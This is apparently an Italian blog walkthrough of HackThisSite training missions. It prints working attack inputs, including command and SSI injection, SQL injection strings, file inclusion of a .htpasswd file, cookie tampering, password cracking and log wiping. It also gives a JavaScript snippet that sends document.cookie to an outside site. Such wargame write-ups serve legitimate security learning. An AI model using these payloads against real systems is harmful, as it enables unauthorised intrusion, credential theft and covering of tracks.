HackThisSite
HTS (Hack This Site) Tutorial
Basic Missions:
- Niente di più banale: basta guardare il codice html della pagina e cercare la stringa "password is" .
- Questo è più banale del primo, ma proprio per questo mi ha fatto perdere un po' di tempo. Sam si è dimenticato di mettere il file con cui confrontare la password, quindi è sufficiente lasciare il campo vuoto.
- Qui Sam ha superato se stesso. Per accedere alla password, com'è scritto nel codice html, basta controllare il file "password.php".
- Caro Sam, anche qui ti sei fatto fregare... Come vedete dal codice html, l'email viene inviata di default a un certo "webmaster@hulla-balloo.com". Per fregare Sam, dobbiamo passare dal form POST un indirizzo email diverso, qualunque indirizzo va bene. Ma come si fa? Si fa in modo molto semplice. Se usate Firefox potete semplicemente usare un plugin che si chiama "Tamper Data".
- Stessa identica cosa del n°4.
- Per questa password bisogna perdere un po' di tempo. Dopo qualche tentativo si può notare che lo script di Sam incrementa il valore dei caratteri che inseriamo in base alla loro posizione. Qui ho fatto un programma che trova subito la password senza stare a fare tanti calcoli

- Questo problema è davvero divertente, infatti possiamo vedere il contenuto della cartella con un injection. Tutto ciò che dobbiamo fare è inserire il codice ";ls" nel campo del form e vedremo spuntar fuori la lista dei file contenuti nella cartella. Apriamo quindi il file con il nome assurdo ed ecco la password.
- Le cose si complicano. Qui siamo costretti a fare un injection con la funzione php "<!--#exec cmd="ls ../"-->". A questo punto possiamo andare a vedere il file creato dallo script... E naturalmente contiene la lista dei file della directory. Quello che non c'entra niente con gli altri rappresenta il file che contiene la password.
- Questo problema è lo stesso del precedente, ma... dove andiamo a fare l'injection? Naturalmente possiamo farlo dal problema precedente! Quindi torniamo al numero 8 e questa volta inseriamo "<!--#exec cmd="ls ../../9"-->" e andiamo a vedere il file creato. Conterrà l'indirizzo del file all'interno della directory con l'esercizio 9 con la nuova password.
- In questo caso, appena apriamo la pagina del problema 10, ci ritroviamo questo cookie "level10_authorized=no". E' abbastanza semplice a questo punto. Inseriamo una password a caso, facciamo partire "Tamper Data", modifichiamo il cookie in "level10_authorized=yes" e bruciamo anche il 10.
- Ci troviamo di fronte a un problema nettamente più difficile dei precedenti. Ci troviamo di fronte una pagina con un titolo di una canzone. Facciamo il refresh e vediamo che il titolo cambia... Continuiamo all'infinito... Sono tutti titoli di canzoni di Elton John! A questo punto vediamo cosa contiene la cartella "a". Contiene una lista di altre sottocartelle del tipo "a", "b", "c" ecc... Quindi cosa facciamo? Andiamo a cercare il contenuto di e/l/t/o/n... Sorpresa! La cartella è vuota ;). E' tutto un inganno. Andiamo a aggiungere a visitare il file ".htaccess " e vediamo che una cartella è stata resa invisibile. La cartella si chiama "DaAnswer". Entriamo quindi in tale cartella e ci troviamo di fronte a un indovinello, io mi son trovato questo: "The answer is not what you think! Just look a little harder.". Cosa vorrà mai dire? La risposta è qui davanti a voi, non la vedete? "The answer is not what you think! Just look a little harder.". Adesso torniamo alla cartella del problema 11. Apriamo il file "index.php" e inseriamo la risposta.
Realistic missions:
- Si comincia con la vera azione! Questo maledetto Uncle Arnold ha fatto il furbo. Quel che dobbiamo fare è aumentare il voto della banda del nostro amico: i "Raging Inferno". Per fare questo, vediamo che per la votazione apriamo il file richiamato il file "v.php" che ha una importazione dei dati di tipo GET. quindi cosa facciamo? Andiamo semplicemente a modificare nella barra degli indirizzo il voto, inserendo per i Raging Inferno un valore del tipo "vote=999999". Così saremo in grado di superare il livello.
- Ci troviamo di fronte a un sito nazista in cui dobbiamo trovare username e password per poter accedere all'area in cui postare messaggi. Per accedere all'area login troviamo il link in fondo alla pagina ("update.php"). Qui non possiamo far altro oltre all'sql injection. Pensiamo a come possa esser fatta la query per l'autenticazione. Dovrebbe essere una cosa del tipo:
SELECT * FROM users WHERE username='$username' AND password='$password'
Quindi vediamo come fregare questo metodo di autenticazione... Potremmo semplicemente aggiungere qualche clausola di OR che ci garantisca l'accesso! quindi vogliamo una query del tipo
SELECT * FROM users WHERE username='$username' OR 'x'='x' AND password='$password' OR 'x'='x'
E siamo a cavallo. Basterà inserire la stringa
' OR 'x'='x
nelle caselle di nome e password.
- Questo problema è davvero banale, nonostante ciò ci ho messo un bel po' per capirlo. Si può subito vedere che esiste ancora la vecchia pagina iniziale, che è stata rinominanta in "oldindex.html". Una volta che siamo entrati, vediamo che la pagina per inserire le poesie che farebbe rabbrividire qualunque webmaster dato che per risolvere il problema è sufficiente fare ciò: inserire come nome della poesia "../index.html" e nel corpo del testo il codice html della pagina "oldindex.php".
- Anche qui ci troviamo di fronte ad un problema di mysql injection. Quel che dobbiamo fare è entrare in una delle pagine dei prodotti e utilizzare il costrutto UNION. Quindi raggiungere il link:
products.php?category=1 UNION ALL SELECT NULL,*, NULL, NULL FROM email;
Adesso dobbiamo mandare l'emeil contenente i vari indirizzi a SaveTheWales. Lo troviamo all'indirizzo
http://www.hackthissite.org/pages/messages/msys/send.php?id=SaveTheWhales&action=send
- Finalmente qualcosa di davvero divertente! Se andiamo nella sezione database, possiamo trovare l'indirizzo
secret/admin.php?password=password&submit=submit
Ci posizioniamo in "secret/" . Qui troviamo la pagina "admin.bak.php" che contiene un codice. Questo codice è una hash MD4. Per eseguire il decrypt di questa hash io ho usato il bruteforcing di Cain and Abel, freeware sviluppato al politecnico di Torino. Approfitto per fare i complimenti agli sviluppatori. Il risultato del bruteforcing è la password che ci porterà alla vittoria.
- Questo problema diventa abbastanza banale dopo diverse prove con l'encrypter. Vediamo in fatti che lasciando la chiave vuota e inserendo ad esempio il carattere 'A', vengono restituiti 3 interi, positivi o negativi, i quali, sommati, restituiscono il valore ASCII del carattere 'A'. Se andiamo a inserire qualche carattere nella password, vedremo che agli interi viene sommata la somma dei caratteri della chiave. Se non volete annoiarvi nella scrittura di qualche algoritmo di cifratura, ho scritto questo
che vi velocizzerà le cose. Per usarlo, seguite semplicemente le istruzioni che vi verranno via via mostrate dal programma. Eseguito tutto, troverete i risultati nel file "results.txt". A questo punto, potete cercare il nome "ToxiCo" all'interno del file per trovare il testo vero. Adesso inviatelo a
http://www.hackthissite.org/pages/messages/msys/send.php?id=SaveTheWhales&action=send
- Eccoci al 7. Qui ci mettiamo poco tempo a trovare la cartella delle immagini e, una volta entrati all'interno di quest'ultima, possiamo vedere che c'è un'altra cartella "admin". Proviamo a entrare, ma ci troviamo di fronte ad un accesso vincolato da apache via .htaccess/.htpasswd. Vediamo che l'hacker newbie ha usato l'include di php in maniera un po' troppo spudorata, quindi andiamo alla pagina
showimages.php?file=./images/admin/.htpasswd
nella quale troveremo il nome utente e la password criptata in una forma UNIX MD5. Ammetto che per capire il tipo di cifratura ci ho messo un po'. Per scovare la password ho usato il software "John the Ripper". Andiamo a inserire nome e password nelle apposite caselle e passiamo al problema 8.
- In questa missione dobbiamo seguire i seguenti obiettivi:
1. Find the account of Gary Hunter (I don't know his account name).
2. Move the $10,000,000 into the account dropCash.
3. Clear The Logs, They're held in the folder 'logFiles'.
Iniziamo dal primo: dopo aver visitato un po' la pagina, creiamoci un nostro account. Io l'ho chiamato in questo modo:
username: ab
password: cd
info: ef
a questo punto, possiamo girare ancora un po' per il sito per vedere che esiste una sezione "Find". Proviamo a inserire il nostro nome account. Che bello! Qui ci sta proprio una bella iniezione! Immaginiamoci la query di ricerca:
SELECT * FROM users WHERE username='$find'
Il fatto è che noi li vogliamo tutti, quindi dobbiamo farla diventare:
SELECT * FROM users WHERE username='$find' OR 'x'='x'
basterà quindi inserire nella casella
' OR 'x'='x
Adesso vediamo che non ci sono account che si chiamano "Gary Hunter", ma in diversi hanno questo nome nella descrizione. Probabilmente sono altri utenti di HTS che come noi si sono registrati. Quel che ci conviene fare è controllare tra i primi. Ecco spuntare "GaryWilliamHunter : -- $$$$$ -- ", nome alquanto sospetto...
Proseguiamo con l'obiettivo numero 2. Dobbiamo versare "10000000" $ nell'account che si chiama "dropCash". Eseguiamo il login con il nostro account, riempiamo le caselle del form per l'invio del denaro e prima di spedirlo apriamo il nostro caro "Tamper Data" nel quale dobbiamo modificare il nostro cookie "accountUsername" in
accountUsername=GaryWilliamHunter
Fatto questo, anche il secondo obiettivo è completato.
Il terzo obiettivo è la pulizia delle tracce. In poche parole fare la pulizia dei log. Come dice il terzo punto, il file dei log è contenuto nella cartella "logFiles", quindi possiamo aprire "Tamper Data", effettuare la pulizia della nostra cartella e modificare il campo "dir" in "logFiles". Abbiamo finito il livello 8.
- Siamo di fronte a un nuovo argomento. Anche qui dobbiamo modificare i cookies trovando nome e password del capo. Per questo dobbiamo ottenere i suoi cookies mediante un attacco di tipo javascript injection. Dopo aver effettuato il login dobbiamo quindi inviare un messaggio privato e mettere al posto di subject una pagina web, ad esempio "Good News!" e nel corpo del messaggio dobbiamo inserire uno script js simile a questo:
<script language="JavaScript">
window.location="http://www.sitehacker.org/givemeyourcookies.php?data=" + document.cookie;
</script>
A questo punto, il sito ci restituirà i cookies (che in realtà avremmo dovuto recuperare sul nostro sitehacker.org). Cambiamo i cookies con "Tamper Data" e paghiamo il salario all'amico. A questo punto dobbiamo però ripulire il log. Possiamo farlo aggiungendo in mailing list una nuova email modificando però sempre con Tamper Data l'indirizzo della mailing list in "./files/logs/logs.txt". Inviamo i dati e passiamo al livello 10.
- Dopo un'attenta ricognizione del sito, notiamo che c'è una immagine invisibile sotto l'immagine verticale sulla sinistra che contiene il link per il form per il login dei membri dello staff. Il link invia a "staff.php". Ma cosa inserire in questi campi? Andiamo nella pagina contenente la tabella dello staff e vediamo che per accedere alle descrizioni dei docenti viene usato un link con il passaggio di informazioni tramite GET. Ho provato diversi SQL injection su questo id, ma senza speranze... Poi, una bella idea... Probabilmente sarebbe utile cercare il membro dello staff con la id più bassa, perchè probabilmente è l'amministratore, provo con '0' e non esce niente. Provo con 1 ed ecco "Samantha Miller". Facciamo qualche prova per il login con nome completo, email completa, indirizzo email senza l'estensione del dominio. Bingo! Questa Samantha ha una protezione davvero debole: "smiller" "smiller". Adesso siamo dentro, ma... Non stiamo probabilmente usando un browser "holy_teacher" ;). Quindi possiamo munirci di una applicazione che si chiama User Agent e modifichiamo le informazioni del nostro browser. Nel campo "User Agent" della nostra applicazione possiamo semplicemente sostituire tutta la stringa con "holy_teacher" e il gioco è fatto, stiamo usando un holy browser :P. Andiamo per cambiare i voti, ma non siamo in grado perchè non siamo admin... Naturalmente, prima cosa da fare è controllare i cookies. Siamo con "Tamper Data e modifichiamo il booleano "admin=0" in "admin=1" e possiamo modificare i grades di biologia. Se vediamo nel codice html, il form è stato nascosto perchè ormai i voti non si possono più cambiare, quindi dobbiamo inviare i dati via POST manualmente, ma quali?
Spulciamo meglio il codice html, ci ricordiamo che questo ragazzo vuole aumentare il voto di palestra, che ha un codice GET "rec=9" e "rec=3", in più vuole aumentare Bible study che ha "rec=0" e "rec=4". Inoltre vediamo che i valori da inserire sono "grade" e "comments" (quest'ultimo facoltativo). Aggiorniamo quindi i voti cambiando in modo opportuno la parte in grassetto del link sottostante e abbiamo finito il livello 10.
staff.php?action=changegrades&changeaction=modrec&studentid=1&rec=9&grade=5
- Work in progress...
- Questo sì che è divertente! Facciamoci un giretto del sito... Tutto tranquillo, peccato che l'amministratore del sistema non permetta di viaggiare all'interno dei suoi frame su siti che non siano della scuola... E naturalmente noi, paladini della libertà d'informazione dovremo porre un rimedio... Il nostro amico non ci aveva detto che l'admin usa win95? Eh si, un dettaglio che non può essere trascurato... Proviamo a inserire nel campo address la stringa "file:///c:/"... Ops! Adesso andiamo a cercare il pannello dell'amministratore... Eccolo nella cartella "file:///c:/WEB/HTML" e possiamo vedere che sul sito si trova all'indirizzo
http://www.hackthissite.org/missions/realistic/12/heartlandadminpanel.html
Ma quale nome e password mettere? Facciamo qualche tentativo, veniamo rimandati alla pagina "heartlandadminpanel.pl?username=ab&password=cd"... Come possiamo fare? Facciamo un salto tra gli studenti, tra questi ce n'è uno che dà la possibilità di scrivere sul guestbook, ma non è la scrittura che ci interessa. Entriamo dentro al frame (come fare? basta aprire il guestbook in una nuova finestra ;)), inseriamo un messaggio qualsiasi e verremo rinviati alla pagina
cgi-bin/guest.pl?action=read&file=guestbook.txt
E qui viene il bello. Quel che dobbiamo fare è inserire al posto di "guestbook.txt" il file di autenticazione "heartlandadminpanel.pl". Nella pagina risultante avremo nome e password per entrare nel pannello, clickare "clear all" e vincere la missione.
Application missions:
- Possiamo aprire questa applicazione in formato testo e vedremo che da qualche parte sono scritti i seriali. Ne inseriamo uno all'interno del campo e ci verrà restituita la password.
- Molto simile al primo, basterà andare a cercare la parola "password" e poco più in basso, possiamo intuire che i seriali siano cercati all'interno del seguente indirizzo:
http://www.hackthissite.org/application/app2/keys123.txt
- In questo caso dovremmo munirci di un packet sniffer, io mi trovo molto bene con WireShark per sniffare a quale indirizzo il programma fa riferimento per il controllo del seriale.
- Work in progress...
|